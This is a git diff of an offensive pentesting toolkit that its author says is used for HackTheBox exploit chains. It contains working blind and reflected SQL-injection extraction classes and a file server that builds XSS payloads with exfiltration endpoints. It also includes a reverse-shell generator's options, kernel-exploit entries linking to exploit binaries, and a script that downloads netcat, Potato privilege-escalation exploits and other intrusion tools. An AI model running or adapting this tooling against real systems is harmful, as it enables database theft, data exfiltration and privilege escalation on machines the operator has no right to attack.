Compare commits

..

No commits in common. "12007c84c1350b69bc9893cb409aeaf66e1e6134" and "0fac5c75b06ce46db8d387645034018a923509e0" have entirely different histories.

19 changed files with 358 additions and 1099 deletions

0
PetitPotam.py Normal file → Executable file

@ -7,16 +7,8 @@ I use this repository mostly for automated exploit chains. HackTheBox machines o
### Installation ### Installation
```bash ```bash
PYTHON_DIR=$(python -c "import sys;print(sys.path[-1])") git clone git@romanh.de:Roman/HackingScripts
sudo ln -s HackingScripts $(python -c "import sys;print(sys.path[-1])")/hackingscripts
# clone directly into python site-packages
git clone https://git.romanh.de/Roman/HackingScripts.git $PYTHON_DIR/hackingscripts
# or use a symlink
git clone https://git.romanh.de/Roman/HackingScripts.git
sudo ln -s $(pwd)/HackingScripts $PYTHON_DIR/hackingscripts
# Install requirements
pip3 install -r $PYTHON_DIR/hackingscripts/requirements.txt
``` ```
### Enumeration: Initial Scans ### Enumeration: Initial Scans
@ -38,7 +30,6 @@ Can be deployed on victim machines to scan the intranet.
- pingscan.py: small python script, which can detect internal hosts via ping probes natively. - pingscan.py: small python script, which can detect internal hosts via ping probes natively.
Can be deployed on victim machines to scan the intranet. Can be deployed on victim machines to scan the intranet.
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket) - [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
- [socat](https://github.com/3ndG4me/socat)
### Reverse Shell: Payloads ### Reverse Shell: Payloads
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...) - rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
@ -61,7 +52,6 @@ Can be deployed on victim machines to scan the intranet.
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files - pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions - find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
- TODO: smb - TODO: smb
- sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP)
### [Windows](win/) ### [Windows](win/)
- nc.exe/nc64.exe: netcat standalone binary - nc.exe/nc64.exe: netcat standalone binary
@ -73,10 +63,4 @@ Can be deployed on victim machines to scan the intranet.
- [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor - [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell) - [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to [@alwayslucky](https://github.com/0xalwayslucky)) - [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky)
- [PetitPotam.py](https://github.com/topotam/PetitPotam)
- [socat.exe](https://github.com/3ndG4me/socat)
- TODO: add all Potatoes
### Example API-Usage
TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc.

@ -5,10 +5,12 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse from urllib.parse import urlparse
import threading import threading
import requests import requests
import sys
import time import time
import os import os
import ssl import ssl
import util import util
import xss_handler
class FileServerRequestHandler(BaseHTTPRequestHandler): class FileServerRequestHandler(BaseHTTPRequestHandler):
@ -91,23 +93,14 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
status_code = 200 if len(result) < 1 else result[0] status_code = 200 if len(result) < 1 else result[0]
data = b"" if len(result) < 2 else result[1] data = b"" if len(result) < 2 else result[1]
headers = { } if len(result) < 3 else result[2] headers = { } if len(result) < 3 else result[2]
elif isinstance(result, int): else:
status_code = result status_code = result
data = b"" data = b""
headers = {} headers = {}
elif result is None:
status_code = 201
data = b""
headers = {}
else:
status_code = 200
data = data if type(data) in [bytes, bytearray] else str(data).encode()
headers = {}
if path in self.server.dumpRequests: if path in self.server.dumpRequests:
headers["Access-Control-Allow-Origin"] = "*" headers["Access-Control-Allow-Origin"] = "*"
headers["Connection"] = "Close"
headers["Content-Length"] = len(util.nvl(data, b"")) headers["Content-Length"] = len(util.nvl(data, b""))
if len(headers) == 0: if len(headers) == 0:
@ -183,7 +176,7 @@ class HttpFileServer(HTTPServer):
data = data.encode("UTF-8") data = data.encode("UTF-8")
headers = { headers = {
"Access-Control-Allow-Origin": "*" "Access-Control-Allow-Origin": "*",
} }
if mime_type: if mime_type:
@ -282,6 +275,10 @@ class HttpFileServer(HTTPServer):
self.listen_thread.join() self.listen_thread.join()
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
exit(1)
parser = argparse.ArgumentParser(description="Spawn a temporary http server") parser = argparse.ArgumentParser(description="Spawn a temporary http server")
parser.add_argument( parser.add_argument(
"action", "action",
@ -330,11 +327,8 @@ if __name__ == "__main__":
file_server.forwardRequest("/proxy", url) file_server.forwardRequest("/proxy", url)
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address)) print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
elif args.action == "xss": elif args.action == "xss":
from xss_handler import generate_payload as generate_xss_payload
payload_type = args.payload if args.payload else "img" payload_type = args.payload if args.payload else "img"
xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address)) xss = xss_handler.generatePayload(payload_type, ip_addr, args.port)
file_server.addFile("/xss", xss)
file_server.dumpRequest("/exfiltrate")
print("Exfiltrate data using:") print("Exfiltrate data using:")
print(xss) print(xss)

File diff suppressed because one or more lines are too long

@ -217,7 +217,7 @@ Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
Tags: ubuntu=9.04 Tags: ubuntu=9.04
Rank: 1 Rank: 1
analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/ analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz
exploit-db: 9435 exploit-db: 9435
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
EOF EOF
@ -228,7 +228,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage2
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
Tags: Tags:
Rank: 1 Rank: 1
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz
exploit-db: 9436 exploit-db: 9436
Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
EOF EOF
@ -239,7 +239,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage3
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30 Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
Tags: Tags:
Rank: 1 Rank: 1
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz
exploit-db: 9641 exploit-db: 9641
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
EOF EOF
@ -260,7 +260,7 @@ Name: ${txtgrn}[CVE-2009-2698]${txtrst} the rebel (udp_sendmsg)
Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19 Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
Tags: debian=4 Tags: debian=4
Rank: 1 Rank: 1
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz
exploit-db: 9574 exploit-db: 9574
analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
author: spender author: spender
@ -701,7 +701,7 @@ Name: ${txtgrn}[CVE-2016-4997]${txtrst} target_offset
Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules
Tags: ubuntu=16.04{kernel:4.4.0-21-generic} Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
Rank: 1 Rank: 1
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip
Comments: ip_tables.ko needs to be loaded Comments: ip_tables.ko needs to be loaded
exploit-db: 40049 exploit-db: 40049
author: Vitaly 'vnik' Nikolenko author: Vitaly 'vnik' Nikolenko
@ -714,7 +714,7 @@ Reqs: pkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unp
Tags: ubuntu=16.04{kernel:4.4.0-21-generic} Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
exploit-db: 40759 exploit-db: 40759
author: Jann Horn author: Jann Horn
@ -858,7 +858,7 @@ Reqs: pkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unpr
Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip
exploit-db: 45886 exploit-db: 45886
author: Jann Horn author: Jann Horn
Comments: CONFIG_USER_NS needs to be enabled Comments: CONFIG_USER_NS needs to be enabled
@ -871,7 +871,7 @@ Reqs: pkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent. Comments: Requires an active PolKit agent.
exploit-db: 47133 exploit-db: 47133
@ -1066,7 +1066,7 @@ Reqs: pkg=glibc|libc6,x86
Tags: debian=6 Tags: debian=6
Rank: 1 Rank: 1
analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34421.tar.gz src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421.tar.gz
exploit-db: 34421 exploit-db: 34421
EOF EOF
) )
@ -1284,7 +1284,7 @@ Reqs: pkg=ntfs-3g,ver<2017.4
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2} Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
Rank: 1 Rank: 1
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072 analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip
exploit-db: 41356 exploit-db: 41356
author: Jann Horn author: Jann Horn
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores. Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.

@ -532,8 +532,8 @@ if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Reverse shell generator") parser = argparse.ArgumentParser(description="Reverse shell generator")
parser.add_argument(dest="type", type=str, default=None, help="Payload type") parser.add_argument(dest="type", type=str, default=None, help="Payload type")
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port") parser.add_argument("--port", type=int, required=False, default=None, help="Listening port")
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address") parser.add_argument("--addr", type=str, required=False, default=util.get_address(), help="Listening address")
args, extra = parser.parse_known_args() args, extra = parser.parse_known_args()
listen_port = args.port listen_port = args.port

BIN
socat

Binary file not shown.

BIN
socat64

Binary file not shown.

275
sqli.py

@ -2,6 +2,8 @@ from abc import ABC, abstractmethod
import sys import sys
import string import string
# TODO: add blind/reflected option
# TODO: binary search instead of bruteforce
class SQLi(ABC): class SQLi(ABC):
@staticmethod @staticmethod
@ -11,6 +13,37 @@ class SQLi(ABC):
table = "" if not table else f" FROM {table}" table = "" if not table else f" FROM {table}"
return f"SELECT {column}{table}{condition} LIMIT 1{offset}" return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True):
query = self.build_query(column, table, condition, offset)
if self.blind_sqli(f"({query})=0"):
return 0
if not binary_search:
cur_int = 1
while self.blind_sqli(f"({query})>{cur_int}"):
cur_int += 1
return cur_int
else:
min_value = 1
max_value = 1
while self.blind_sqli(f"({query})>{max_value}"):
min_value = max_value + 1
max_value = max_value * 2
max_value = max_value - 1
while True:
cur_int = (min_value + max_value) // 2
if self.blind_sqli(f"({query})>{cur_int}"):
min_value = cur_int + 1
elif self.blind_sqli(f"({query})<{cur_int}"):
max_value = cur_int - 1
else:
return cur_int
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False): def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
if verbose: if verbose:
@ -22,30 +55,44 @@ class SQLi(ABC):
return rows return rows
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False): def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable):
if max_length is None:
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
if verbose:
print("Fetched length:", max_length)
cur_str = ""
while True:
found = False
query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset)
for c in charset:
if self.blind_sqli(f"({query})={ord(c)}"):
found = True
cur_str += c
if verbose:
sys.stdout.write(c)
sys.stdout.flush()
break
if not found or (max_length is not None and len(cur_str) >= max_length):
break
if verbose:
print()
return cur_str
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable):
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
if verbose: if verbose:
print(f"Fetching {row_count} rows") print(f"Fetching {row_count} rows")
rows = [] rows = []
for i in range(0, row_count): for i in range(0, row_count):
rows.append(self.extract_string(column, table, condition, i, verbose=verbose)) rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset))
return rows return rows
@abstractmethod
def ascii(self):
pass
@abstractmethod
def extract_int(self, column: str, table=None, condition=None,
offset=None, verbose=False):
pass
@abstractmethod
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
pass
@abstractmethod @abstractmethod
def get_database_version(self, verbose=False): def get_database_version(self, verbose=False):
pass pass
@ -58,6 +105,10 @@ class SQLi(ABC):
def get_current_database(self, verbose=False): def get_current_database(self, verbose=False):
pass pass
@abstractmethod
def blind_sqli(self, condition: str, verbose=False) -> bool:
pass
@abstractmethod @abstractmethod
def get_table_names(self, schema: str, verbose=False): def get_table_names(self, schema: str, verbose=False):
pass pass
@ -66,173 +117,6 @@ class SQLi(ABC):
def get_column_names(self, table: str, schema: str, verbose=False): def get_column_names(self, table: str, schema: str, verbose=False):
pass pass
class ReflectedSQLi(SQLi, ABC):
def __init__(self, column_types: list):
self.column_types = column_types
@abstractmethod
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
pass
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
if str not in self.column_types:
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
return None
str_column = self.column_types.index(str)
query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types))))
query_columns[str_column] = column
return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False):
one = False
if isinstance(columns, str):
columns = [columns]
one = True
column_count = len(columns)
if len(self.column_types) < column_count:
print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}")
return None
query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1)))
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
column_str = ",".join(query_columns)
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:
rows.append(int(row[0]))
else:
rows.append(list(map(lambda i: int(row[i]), range(column_count))))
return rows
def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False):
one = False
if isinstance(columns, str):
columns = [columns]
one = True
column_count = len(columns)
if self.column_types.count(str) < column_count:
print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}")
return None
query_columns = list(map(str, range(1, len(self.column_types) + 1)))
offsets = list(None for _ in range(column_count))
offset = 0
for i, column in enumerate(columns):
while self.column_types[offset] != str:
offset += 1
offsets[i] = offset
query_columns[offset] = column
offset += 1
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
column_str = ",".join(query_columns)
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:
rows.append(row[offsets[0]])
else:
rows.append(list(map(lambda o: row[o], offsets)))
return rows
# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
class BlindSQLi(SQLi, ABC):
@abstractmethod
def blind_sqli(self, condition: str, verbose=False) -> bool:
pass
def extract_int(self, column: str, table=None, condition=None,
offset=None, verbose=False, binary_search=True,
min_value=None, max_value=None):
query = self.build_query(column, table, condition, offset)
if self.blind_sqli(f"({query})=0"):
return 0
if not binary_search:
cur_int = 1 if min_value is None else min_value
while self.blind_sqli(f"({query})>{cur_int}", verbose):
cur_int += 1
if max_value is not None and cur_int >= max_value:
return None
return cur_int
else:
if min_value is None or max_value is None:
min_value = 1 if min_value is None else min_value
max_value = 1 if max_value is None else max_value
while self.blind_sqli(f"({query})>{max_value}", verbose):
min_value = max_value + 1
max_value = max_value * 2
while True:
cur_int = (min_value + max_value) // 2
if self.blind_sqli(f"({query})>{cur_int}", verbose):
min_value = cur_int + 1
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
max_value = cur_int - 1
else:
return cur_int
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable):
if max_length is None:
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
if verbose:
print("Fetched length:", max_length)
cur_str = ""
while True:
found = False
cur_column = self.ascii() + f"(substr({column},{len(cur_str) + 1},1))"
if charset:
query = self.build_query(cur_column, table, condition, offset)
for c in charset:
if self.blind_sqli(f"({query})={ord(c)}"):
found = True
cur_str += c
if verbose:
sys.stdout.write(c)
sys.stdout.flush()
break
else:
c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127)
if c is not None:
found = True
cur_str += chr(c)
if verbose:
sys.stdout.write(chr(c))
sys.stdout.flush()
if not found or (max_length is not None and len(cur_str) >= max_length):
break
if verbose:
print()
return cur_str
class PostgreSQLi(SQLi, ABC): class PostgreSQLi(SQLi, ABC):
def get_database_version(self, verbose=False): def get_database_version(self, verbose=False):
@ -253,8 +137,6 @@ class PostgreSQLi(SQLi, ABC):
f"table_schema='{schema}' AND table_name='{table}'", f"table_schema='{schema}' AND table_name='{table}'",
verbose=verbose) verbose=verbose)
def ascii(self):
return "ascii"
class MySQLi(SQLi, ABC): class MySQLi(SQLi, ABC):
def get_database_version(self, verbose=False): def get_database_version(self, verbose=False):
@ -274,28 +156,3 @@ class MySQLi(SQLi, ABC):
return self.extract_multiple_strings("column_name", "information_schema.columns", return self.extract_multiple_strings("column_name", "information_schema.columns",
f"table_schema='{schema}' AND table_name='{table}'", f"table_schema='{schema}' AND table_name='{table}'",
verbose=verbose) verbose=verbose)
def ascii(self):
return "ascii"
class SQLitei(SQLi, ABC):
def get_database_version(self, verbose=False):
return self.extract_string("sqlite_version()", verbose=verbose)
def get_current_user(self, verbose=False):
raise Exception("Not implemented!")
def get_current_database(self, verbose=False):
raise Exception("Not implemented!")
def get_table_names(self, verbose=False):
return self.extract_multiple_strings("name", "sqlite_schema", f"type='table'",
verbose=verbose)
def get_column_names(self, table: str, schema: str, verbose=False):
# TODO: we could query the "sql" column and parse it using regex
raise Exception("Not implemented!")
def ascii(self):
return "unicode"

@ -86,10 +86,8 @@ if __name__ == "__main__":
variables = "\n".join(f"{k} = {v}" for k, v in variables.items()) variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
header = f"""#!/usr/bin/env python header = f"""#!/usr/bin/env python
# # THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)} # https://git.romanh.de/Roman/HackingScripts
# For more information, visit: https://git.romanh.de/Roman/HackingScripts
#
import os import os
import io import io
@ -104,7 +102,6 @@ import urllib.parse
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from hackingscripts import util, rev_shell from hackingscripts import util, rev_shell
from hackingscripts.fileserver import HttpFileServer from hackingscripts.fileserver import HttpFileServer
from hackingscripts.sqli import MySQLi, PostgreSQLi, BlindSQLi, ReflectedSQLi
from urllib3.exceptions import InsecureRequestWarning from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

@ -50,7 +50,6 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
echo ""
echo "Updating LinPEAS + WinPEAS…" echo "Updating LinPEAS + WinPEAS…"
peas_version=$(get_latest_version carlospolop/PEASS-ng) peas_version=$(get_latest_version carlospolop/PEASS-ng)
if [ ! -z "$peas_version" ]; then if [ ! -z "$peas_version" ]; then
@ -63,20 +62,7 @@ else
echo "Unable to determine latest PEAS version" echo "Unable to determine latest PEAS version"
fi fi
# TODO: add others echo "Updating Chisel…"
echo ""
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py
echo ""
chisel_version=$(get_latest_version jpillora/chisel v) chisel_version=$(get_latest_version jpillora/chisel v)
if [ ! -z "$chisel_version" ]; then if [ ! -z "$chisel_version" ]; then
echo "Got Chisel version: $chisel_version" echo "Got Chisel version: $chisel_version"
@ -88,17 +74,19 @@ else
echo "Unable to determine latest chisel version" echo "Unable to determine latest chisel version"
fi fi
# TODO: add others
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v) sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
if [ ! -z "$sharphound_version" ]; then if [ ! -z "$sharphound_version" ]; then
echo "Got Sharphound version: $sharphound_version" echo "Got Chisel version: $sharphound_version"
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1 download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
fi fi
socat_version=$(get_latest_version "3ndG4me/socat" v)
if [ ! -z "$socat_version" ]; then
echo "Got socat version: $socat_version"
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe
fi

@ -1,461 +0,0 @@
#!/usr/bin/env python
#
# Author: GILLES Lionel aka topotam (@topotam77)
#
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
# "Most of" the code stolen from dementor.py from @3xocyte ;)
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
